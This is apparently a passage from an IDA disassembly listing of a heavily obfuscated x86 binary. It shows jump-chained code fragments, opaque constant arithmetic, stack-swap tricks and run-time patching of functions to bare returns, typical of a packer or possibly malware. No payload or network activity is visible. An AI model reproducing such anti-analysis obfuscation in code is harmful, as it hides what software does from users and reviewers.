; ---------------------------------------------------------------------------

loc_43BABB:				; CODE XREF: y22d6.y.:004474DBj
		jz	loc_44C3C7
		jmp	loc_43EB8B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B66

loc_43BAC6:				; CODE XREF: sub_438B66:loc_4375A0j
		jz	loc_43EA83

loc_43BACC:				; CODE XREF: sub_43C6D7+10756j
		jmp	sub_43F7FF
; END OF FUNCTION CHUNK	FOR sub_438B66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_43BAD1:				; CODE XREF: sub_43FFE2-72A6j
		jmp	loc_4408A7
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
		pushf
		adc	edi, ebx
		jmp	loc_43EA7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_43BADE:				; CODE XREF: sub_44BCC2:loc_437D0Ej
		mov	edx, eax
		push	edi
		push	183FD146h
		pop	edi
		or	edi, 0A87BF39Dh
		add	edi, 47C43CBDh
		xchg	edi, [esp+8+var_8]
		jmp	sub_44D088
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------

loc_43BAFB:				; CODE XREF: y22d6.y.:00448984j
		call	sub_4373B9

loc_43BB00:				; CODE XREF: y22d6.y.:0044931Ej
		jmp	loc_44CAF0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437680

loc_43BB05:				; CODE XREF: sub_437680+12j
		jmp	loc_438D7C
; END OF FUNCTION CHUNK	FOR sub_437680
; ---------------------------------------------------------------------------
		call	sub_447663
; START	OF FUNCTION CHUNK FOR sub_4392B0

loc_43BB0F:				; CODE XREF: sub_4392B0+134FDj
		jmp	nullsub_215
; END OF FUNCTION CHUNK	FOR sub_4392B0
; ---------------------------------------------------------------------------

loc_43BB14:				; CODE XREF: y22d6.y.:0043C120j
		add	eax, 60F5F55h
		rol	eax, 18h
		add	eax, ds:4000EAh
		sub	eax, 3E5478EAh
		add	eax, 8FE2CA4Ch
		jmp	loc_438949
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43BB34:				; CODE XREF: sub_448EB6:loc_44D3A7j
		jnz	loc_44A3C6

loc_43BB3A:				; CODE XREF: y22d6.y.:loc_43FDAFj
		jmp	loc_43DBC0
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_43BB3F:				; CODE XREF: y22d6.y.:00441F89j
		cmp	ecx, eax
		jmp	loc_44AC5B
; ---------------------------------------------------------------------------
		mov	ds:dword_41E110, eax
		lea	eax, nullsub_6
		mov	byte ptr [eax],	0C3h
		jmp	loc_43E613

; =============== S U B	R O U T	I N E =======================================



sub_43BB5A	proc near		; CODE XREF: sub_415CB7+2A6p
					; sub_415CB7+318p ...
		push	ebx
		push	0FA130105h
		jmp	loc_44D3C1
sub_43BB5A	endp

; ---------------------------------------------------------------------------

locret_43BB65:				; CODE XREF: y22d6.y.:00446F7Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_43BB66:				; CODE XREF: sub_44AEDA-D2D6j
		jmp	loc_447777
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441000

loc_43BB6B:				; CODE XREF: sub_441000+11CDj
		jge	loc_4378F3

loc_43BB71:				; CODE XREF: sub_4499C9+1A7Bj
		jmp	nullsub_144
; END OF FUNCTION CHUNK	FOR sub_441000
; ---------------------------------------------------------------------------
		xchg	eax, ebx
		mov	[edi], ecx
		xor	ebp, 5100DFFCh
		jmp	loc_4462F8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS	KEYPAD "+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_83. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43BB87:				; CODE XREF: sub_448EB6:loc_448F55j
		jge	loc_4387D0
		and	ecx, edx
		jmp	loc_439CEA
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443EF1

loc_43BB94:				; CODE XREF: sub_443EF1:loc_44040Fj
		call	sub_44D088
		lea	eax, [ebp-14h]
		push	eax
		jmp	loc_44DE36
; END OF FUNCTION CHUNK	FOR sub_443EF1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445DB1

loc_43BBA2:				; CODE XREF: sub_445DB1+7j
		push	offset sub_44540D
		jmp	loc_44A2E1
; END OF FUNCTION CHUNK	FOR sub_445DB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A90

loc_43BBAC:				; CODE XREF: sub_439A90:loc_43E134j
		jnz	loc_4474C0
		jmp	loc_44CFCF
; END OF FUNCTION CHUNK	FOR sub_439A90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445A15

loc_43BBB7:				; CODE XREF: sub_445A15+Dj
		ror	eax, 16h
		jb	loc_43ADB0
		xor	eax, 385C639Eh
		push	offset loc_44AE15
		jmp	loc_44C3EB
; END OF FUNCTION CHUNK	FOR sub_445A15
; ---------------------------------------------------------------------------
		sbb	edi, eax
		jmp	loc_43CEE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C3DD

loc_43BBD7:				; CODE XREF: sub_43C3DD+9A98j
		adc	edi, ebp
		adc	ecx, 4EEAF956h
		js	loc_44E39E
		not	edi

loc_43BBE7:				; CODE XREF: sub_43C3DD:loc_43AF2Cj
		call	sub_43760A
		jmp	loc_443BB2
; END OF FUNCTION CHUNK	FOR sub_43C3DD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437712

loc_43BBF1:				; CODE XREF: sub_437712:loc_43E6E1j
		and	edi, 44C2EAE0h
		push	offset loc_44D34D
		jmp	loc_43A103
; END OF FUNCTION CHUNK	FOR sub_437712

; =============== S U B	R O U T	I N E =======================================



sub_43BC01	proc near		; CODE XREF: sub_407FE4+20p
					; sub_4081DD+42p ...
		call	sub_43BC16
		jmp	ds:off_41E07C
sub_43BC01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43BC0C:				; CODE XREF: sub_448EB6+F01j
		jmp	loc_44C98E
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFBB

loc_43BC11:				; CODE XREF: sub_43FFBB+2j
		jmp	loc_448797
; END OF FUNCTION CHUNK	FOR sub_43FFBB

; =============== S U B	R O U T	I N E =======================================



sub_43BC16	proc near		; CODE XREF: sub_43BC01p
					; sub_4432B8:loc_43F4FCj ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438094 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044D41C SIZE 00000005 BYTES

		jnb	loc_438094
		push	offset loc_44939A
		jmp	nullsub_23
sub_43BC16	endp

; ---------------------------------------------------------------------------
		test	edi, edx
		jmp	loc_444D8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_43BC2D:				; CODE XREF: sub_449641+48DCj
		jge	loc_43F27D

loc_43BC33:				; CODE XREF: sub_447940+3988j
		jmp	sub_44A413
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43BC38:				; CODE XREF: sub_44633F-B22j
		jmp	loc_449DDA
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4475B3

loc_43BC3D:				; CODE XREF: sub_4475B3-6E9Cj
		jmp	loc_44A635
; END OF FUNCTION CHUNK	FOR sub_4475B3
; ---------------------------------------------------------------------------

loc_43BC42:				; CODE XREF: y22d6.y.:00437030j
		jmp	loc_43D52C
; ---------------------------------------------------------------------------
		mov	edx, [ecx]
		sub	edi, edx
		pop	ecx
		jmp	loc_43F277

; =============== S U B	R O U T	I N E =======================================



sub_43BC51	proc near		; CODE XREF: sub_43BEF7:loc_43BF2Cp
					; y22d6.y.:0043D500j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044B667 SIZE 00000003 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	ebx, [esp-4+arg_0]
		push	ebx
		pop	ecx
		jmp	loc_44B667
sub_43BC51	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440CE6

loc_43BC5F:				; CODE XREF: sub_440CE6+71FBj
		add	eax, 8DA9FC0Bh
		xor	eax, 3E4F90Fh
		jnz	loc_44BBD7
; END OF FUNCTION CHUNK	FOR sub_440CE6
; START	OF FUNCTION CHUNK FOR sub_44B267

loc_43BC71:				; CODE XREF: sub_44B267+A42j
		jmp	loc_44A568
; END OF FUNCTION CHUNK	FOR sub_44B267
; ---------------------------------------------------------------------------

loc_43BC76:				; CODE XREF: y22d6.y.:00443269j
		jmp	locret_43BF50
; ---------------------------------------------------------------------------
		sub	ebx, edx
		ja	loc_448647
		jmp	loc_439B3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E242

loc_43BC88:				; CODE XREF: sub_44E242-168F6j
		xchg	edx, [esp+0]
		jmp	loc_43D5AC
; END OF FUNCTION CHUNK	FOR sub_44E242

; =============== S U B	R O U T	I N E =======================================



sub_43BC90	proc near		; CODE XREF: y22d6.y.:0043CFC0j
					; sub_441FA5p
		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_43BCA9
		jmp	ds:off_41E054
sub_43BC90	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43BC9F:				; CODE XREF: y22d6.y.:0044B59Fj
		jmp	locret_4474FF
; ---------------------------------------------------------------------------

loc_43BCA4:				; CODE XREF: y22d6.y.:00444C51j
		jmp	loc_4459AE

; =============== S U B	R O U T	I N E =======================================



sub_43BCA9	proc near		; CODE XREF: sub_43BC90+4p
					; sub_43D543+7j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00437280 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00437ABD SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00437AFC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A192 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0043A495 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043AFF5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B943 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043C29F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DB9E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FE6B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044421D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004450B9 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00445C69 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447768 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00448DD1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004495FD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044B08C SIZE 00000008 BYTES

		jnb	loc_4495FD
		jmp	loc_4450B9
sub_43BCA9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43BCB4:				; CODE XREF: sub_44B1D2:loc_437CF6j
					; y22d6.y.:loc_4380B9j
		push	5350027Eh
		pop	esi
		xor	esi, 0CF047775h
		add	esi, 32816ED5h
		jmp	loc_44811F
; END OF FUNCTION CHUNK	FOR sub_44B1D2
; ---------------------------------------------------------------------------

loc_43BCCB:				; CODE XREF: y22d6.y.:00439855j
		jo	loc_43977F
		cmp	esi, eax
		jmp	loc_449B79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_43BCD8:				; CODE XREF: sub_44B489-3B88j
		jz	loc_4370FE
		test	edx, eax
		jmp	loc_44A447
; END OF FUNCTION CHUNK	FOR sub_44B489
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441030

loc_43BCE5:				; CODE XREF: sub_441030-4200j
		mov	[edx], eax
		call	sub_442856

locret_43BCEC:				; CODE XREF: y22d6.y.:00447D7Aj
		retn
; END OF FUNCTION CHUNK	FOR sub_441030
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_43BCED:				; CODE XREF: sub_44271A+8722j
		jmp	nullsub_270
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------

loc_43BCF2:				; CODE XREF: y22d6.y.:00443E75j
		jmp	loc_44B3B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FFE2

loc_43BCF7:				; CODE XREF: sub_43FFE2+8CBj
		jz	loc_442749
		jmp	loc_44201A
; END OF FUNCTION CHUNK	FOR sub_43FFE2
; ---------------------------------------------------------------------------
		mov	eax, 469EF90Dh
		push	esi
		push	0EF2E2888h
		pop	esi
		sub	esi, 0A182D1FEh
		jmp	loc_43F63F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44271A

loc_43BD19:				; CODE XREF: sub_44271A+2168j
		jnz	loc_449FCA
		jmp	loc_438653
; END OF FUNCTION CHUNK	FOR sub_44271A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439B2C

loc_43BD24:				; CODE XREF: sub_439B2C:loc_442080j
		sub	esi, 0E66A1D07h
		and	esi, 0D4830928h
		xor	esi, 78CA7722h
		add	esi, 83F9631Ah
		mov	[esi], eax
		pop	esi
		jmp	loc_43D0D0
; END OF FUNCTION CHUNK	FOR sub_439B2C

; =============== S U B	R O U T	I N E =======================================



sub_43BD44	proc near		; CODE XREF: y22d6.y.:00443F9Fj
					; y22d6.y.:0044CF2Ep

; FUNCTION CHUNK AT 00445586 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044CD1F SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	[edx-18h], eax
		call	sub_4481BC

loc_43BD50:				; CODE XREF: y22d6.y.:004456A5j
		not	ebp
		jmp	loc_445586
sub_43BD44	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jnz	loc_43DD7C
		jmp	sub_44DA98
; ---------------------------------------------------------------------------

loc_43BD62:				; DATA XREF: sub_44BCC2+1841o
		add	eax, 0E11E7F01h
		push	offset loc_444A6E
		jmp	locret_44C373
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B01

loc_43BD72:				; CODE XREF: sub_437B01+6FBj
		jp	loc_43C2EA
		jmp	loc_44017D
; END OF FUNCTION CHUNK	FOR sub_437B01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B674

loc_43BD7D:				; CODE XREF: sub_44B674-9AA7j
		sbb	ebx, ecx
		jmp	loc_449CC8
; END OF FUNCTION CHUNK	FOR sub_44B674
; ---------------------------------------------------------------------------
		sub	esi, 7BA69072h
		mov	ecx, ebx
		jmp	sub_43C712
; ---------------------------------------------------------------------------

loc_43BD91:				; CODE XREF: y22d6.y.:00448001j
		xor	ebx, ebp
		and	ecx, 0C57EAFFh
; START	OF FUNCTION CHUNK FOR sub_44B1D2

loc_43BD99:				; CODE XREF: sub_44B1D2:loc_447FF0j
		and	ebx, 85172D31h
		add	ebx, 3EBBAEh
		jmp	loc_437A67
; ---------------------------------------------------------------------------

loc_43BDAA:				; CODE XREF: sub_44B1D2-18C8j
		jle	loc_440753
; END OF FUNCTION CHUNK	FOR sub_44B1D2

; =============== S U B	R O U T	I N E =======================================



sub_43BDB0	proc near		; CODE XREF: y22d6.y.:00437318p
		xchg	ecx, [esp+0]
		pop	ecx
		lea	eax, sub_4422AA
		mov	byte ptr [eax],	0C3h
		jmp	loc_44407C
sub_43BDB0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4422AA

loc_43BDC2:				; CODE XREF: sub_4422AA+1j
		mov	eax, [esp+4+var_4]
		jmp	loc_43FC14
; END OF FUNCTION CHUNK	FOR sub_4422AA
; ---------------------------------------------------------------------------

locret_43BDCA:				; CODE XREF: y22d6.y.:0043D495j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C77

loc_43BDCB:				; CODE XREF: sub_448C77:loc_442C82j
		xchg	edx, [esp+8+var_8]
		jmp	loc_447FF6
; END OF FUNCTION CHUNK	FOR sub_448C77

; =============== S U B	R O U T	I N E =======================================



sub_43BDD3	proc near		; DATA XREF: sub_43E037+CA8Do
		push	0ACC2407Bh
		pop	eax
		sub	eax, ds:4000EAh
		rol	eax, 1
		jmp	loc_43ACC1
sub_43BDD3	endp

; ---------------------------------------------------------------------------

locret_43BDE6:				; CODE XREF: y22d6.y.:loc_43767Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_43BDE7:				; CODE XREF: sub_437901+58A6j
					; sub_44B17B-A758j
		xor	edx, 78F5075Ch

loc_43BDED:				; CODE XREF: sub_4432B8:loc_448C59j
		add	edx, 938F6B58h
		xchg	edx, [esp+0]
		jmp	sub_43760A
; END OF FUNCTION CHUNK	FOR sub_44B17B

; =============== S U B	R O U T	I N E =======================================



sub_43BDFB	proc near		; CODE XREF: y22d6.y.:00437CF1j
					; y22d6.y.:004473D6p

arg_0		= dword	ptr  4

		xchg	edi, [esp+0]
		pop	edi
		xchg	edx, [esp-4+arg_0]
		jmp	loc_43B030
sub_43BDFB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437901

loc_43BE07:				; CODE XREF: sub_437901:loc_44CD29j
		call	sub_442F96

loc_43BE0C:				; CODE XREF: sub_44D22A-15AF2j
		test	ecx, eax

loc_43BE0E:				; CODE XREF: sub_4432B8+A5B1j
		jmp	loc_446DF9
; END OF FUNCTION CHUNK	FOR sub_437901
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_325. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43BE14:				; CODE XREF: y22d6.y.:0044B032j
		jmp	loc_449DBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A148

loc_43BE19:				; CODE XREF: sub_43A148+F0Bj
		jnz	loc_439DC2

loc_43BE1F:				; CODE XREF: y22d6.y.:00449609j
		jmp	loc_4431E2
; END OF FUNCTION CHUNK	FOR sub_43A148
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E3BD

loc_43BE24:				; CODE XREF: sub_43E3BD+7j
		jmp	loc_4409E2
; END OF FUNCTION CHUNK	FOR sub_43E3BD
; ---------------------------------------------------------------------------
		jns	loc_445746
		jmp	loc_439DBA
; ---------------------------------------------------------------------------
		cmp	edx, 6CD4669Dh
		jmp	loc_438379
; ---------------------------------------------------------------------------

loc_43BE3F:				; CODE XREF: y22d6.y.:0043A5F5j
		jnb	sub_43EF8B
; START	OF FUNCTION CHUNK FOR sub_44CEE1

loc_43BE45:				; CODE XREF: sub_44CEE1+Cj
		add	edi, 4B15FEB9h
		mov	[edi], eax
		call	sub_438BFA

loc_43BE52:				; CODE XREF: y22d6.y.:00441320j
		jmp	nullsub_271
; END OF FUNCTION CHUNK	FOR sub_44CEE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446082

loc_43BE57:				; CODE XREF: sub_446082-8955j
		mov	ebx, [edx]
; END OF FUNCTION CHUNK	FOR sub_446082
; START	OF FUNCTION CHUNK FOR sub_43ED4E

loc_43BE59:				; CODE XREF: sub_4432B8:loc_4399DAj
					; sub_4432B8-657Dj ...
		jmp	loc_445E51
; END OF FUNCTION CHUNK	FOR sub_43ED4E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_43BE5E:				; CODE XREF: sub_448EB6:loc_43711Cj
					; sub_4432B8+200Bj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F2D

loc_43BE61:				; CODE XREF: sub_439F2D-1478j
		jmp	loc_437000
; END OF FUNCTION CHUNK	FOR sub_439F2D

; =============== S U B	R O U T	I N E =======================================



sub_43BE66	proc near		; CODE XREF: sub_43D20E-34A7j
					; sub_43E48C:loc_43A616p ...

; FUNCTION CHUNK AT 0043B215 SIZE 00000005 BYTES

		push	ebp
		push	offset loc_43EE61
		jmp	loc_43B215
sub_43BE66	endp

; ---------------------------------------------------------------------------

loc_43BE71:				; CODE XREF: y22d6.y.:0043D133j
		js	sub_44D83F
		jmp	loc_44A159
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43BE7C:				; CODE XREF: sub_448EB6:loc_441864j
		popf
		xchg	ecx, [eax]
		jmp	loc_439BE7
; END OF FUNCTION CHUNK	FOR sub_448EB6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_190. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43BE85:				; CODE XREF: sub_448EB6+1A7j
		jmp	loc_440384
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A6E1

loc_43BE8A:				; CODE XREF: sub_43A6E1:loc_4408EAj
		jz	loc_4497CE
		jmp	loc_43C255
; END OF FUNCTION CHUNK	FOR sub_43A6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_43BE95:				; CODE XREF: sub_4480DE+49B4j
		jle	loc_445FB4
		mov	eax, [ebp+var_4]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_8]

loc_43BEA5:				; CODE XREF: y22d6.y.:0044CA7Ej
		cdq
		push	offset loc_438A55
		jmp	nullsub_244
; END OF FUNCTION CHUNK	FOR sub_4480DE
; ---------------------------------------------------------------------------

loc_43BEB0:				; CODE XREF: y22d6.y.:loc_44258Dj
		jnz	loc_441DE8
; START	OF FUNCTION CHUNK FOR sub_43E139

loc_43BEB6:				; CODE XREF: sub_43E139+7j
		jmp	loc_443CF1
; END OF FUNCTION CHUNK	FOR sub_43E139
; ---------------------------------------------------------------------------
		push	ebp
		jmp	loc_44D5EF

; =============== S U B	R O U T	I N E =======================================



sub_43BEC1	proc near		; DATA XREF: y22d6.y.:0043EE8Fo

var_4		= dword	ptr -4

		push	ebx
		mov	ebx, edx
		xchg	ebx, [esp+4+var_4]
		push	edi
		call	sub_43C22F

loc_43BECD:				; CODE XREF: y22d6.y.:00443F66j
		jmp	ds:dword_41E134
sub_43BEC1	endp

; ---------------------------------------------------------------------------

loc_43BED3:				; CODE XREF: y22d6.y.:0044ADCEj
		jmp	loc_43A35F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4481EF

loc_43BED8:				; CODE XREF: sub_4481EF-1D57j
		jmp	loc_44DBCC
; END OF FUNCTION CHUNK	FOR sub_4481EF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_351. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jz	loc_43AA0C
		mov	eax, [esp]
		push	edx
		call	sub_442C0C
		mov	eax, 4C5D3995h
		jmp	loc_44E201

; =============== S U B	R O U T	I N E =======================================



sub_43BEF7	proc near		; CODE XREF: y22d6.y.:0043934Bj
					; sub_440C4E+Ap

; FUNCTION CHUNK AT 00438CB0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00439247 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439F47 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043A8F2 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043E0F8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043EABB SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043ECAA SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0043F585 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00441935 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004426B0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044506C SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00447C63 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00447DE5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 004489D0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044ACFF SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044ADD3 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0044BE60 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044C736 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	eax, 4ECE841h
		add	eax, 0FB13181Fh
		jmp	loc_43BF3B
; ---------------------------------------------------------------------------

loc_43BF0C:				; CODE XREF: sub_44B635-4035j
		jge	loc_44ADD9
		add	ecx, 0F6DBA28Fh
		jmp	loc_44ADD3
; ---------------------------------------------------------------------------
		shl	eax, 14h
		jmp	sub_4499C9
; ---------------------------------------------------------------------------

loc_43BF25:				; CODE XREF: y22d6.y.:0044BAC3j
		mov	[ebx], edi

loc_43BF27:				; CODE XREF: sub_4416F3-A63Aj
					; sub_4416F3:loc_43A220j ...
		jmp	loc_43A8F2
; ---------------------------------------------------------------------------

loc_43BF2C:				; CODE XREF: y22d6.y.:0043D23Bj
					; sub_4416F3+B92Ej
		call	sub_43BC51

loc_43BF31:				; CODE XREF: sub_448EB6:loc_4483F7j
		jmp	nullsub_25
; ---------------------------------------------------------------------------

loc_43BF36:				; CODE XREF: sub_438A6F+5097j
		jmp	loc_43ECAA
; ---------------------------------------------------------------------------

loc_43BF3B:				; CODE XREF: sub_43BEF7+10j
		jmp	loc_438CB0
sub_43BEF7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43BF40:				; CODE XREF: sub_44633F:loc_43DEB4j
		sub	edx, 9112C35Bh
		push	offset sub_4456EB
		jmp	loc_448652
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------

locret_43BF50:				; CODE XREF: y22d6.y.:loc_43BC76j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B98D

loc_43BF51:				; CODE XREF: sub_43B98D-10F4j
		call	sub_43D65C

loc_43BF56:				; CODE XREF: sub_43E625+Dj
		jmp	loc_447804
; END OF FUNCTION CHUNK	FOR sub_43B98D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFB1

loc_43BF5B:				; CODE XREF: sub_43EFB1-4485j
		jmp	loc_44B404
; END OF FUNCTION CHUNK	FOR sub_43EFB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A67

loc_43BF60:				; CODE XREF: sub_438A67+3j
		jmp	sub_44A595
; END OF FUNCTION CHUNK	FOR sub_438A67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_43BF65:				; CODE XREF: sub_448EB6+17Ej
		sbb	edx, ecx

loc_43BF67:				; CODE XREF: sub_43A6E1:loc_445426j
		mov	eax, 1F56AC7Bh
		call	sub_43CA1A
		push	edi
		mov	edi, ebx
		jmp	loc_448826
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		shr	ebp, 17h
		jmp	sub_439C3E
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_285. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43BF82:				; CODE XREF: y22d6.y.:loc_4413BEj
		add	eax, 0D244D1CFh
		or	eax, eax
		jz	loc_445740
		jmp	loc_44D4F2
; ---------------------------------------------------------------------------

loc_43BF95:				; CODE XREF: y22d6.y.:004428BDj
		shl	edx, 17h

; =============== S U B	R O U T	I N E =======================================



sub_43BF98	proc near		; CODE XREF: y22d6.y.:004485FAp

; FUNCTION CHUNK AT 0044A5E0 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	4A4442B0h
		pop	ecx
		jmp	loc_44A5E0
sub_43BF98	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_43BFA7:				; CODE XREF: sub_44633F:loc_438F0Dj
		call	sub_43CA1A
		push	esi
		push	0BF9AE902h
		pop	esi
		rol	esi, 0Dh
		jmp	loc_43C03F
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
		push	8860BF32h
		pop	edx
		sub	edx, 41B5CF98h
		rol	edx, 7

loc_43BFD0:				; CODE XREF: y22d6.y.:loc_43D03Ej
		sub	edx, 0BBABAB9Eh
		jmp	loc_43DF51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4425E0

loc_43BFDB:				; CODE XREF: sub_4425E0+Aj
		push	edx
		call	sub_44A46F
		mov	eax, 0CEEC89B4h
		push	edx
		push	991807FEh
		jmp	loc_445514
; END OF FUNCTION CHUNK	FOR sub_4425E0
; ---------------------------------------------------------------------------

loc_43BFF1:				; CODE XREF: y22d6.y.:loc_441BAAj
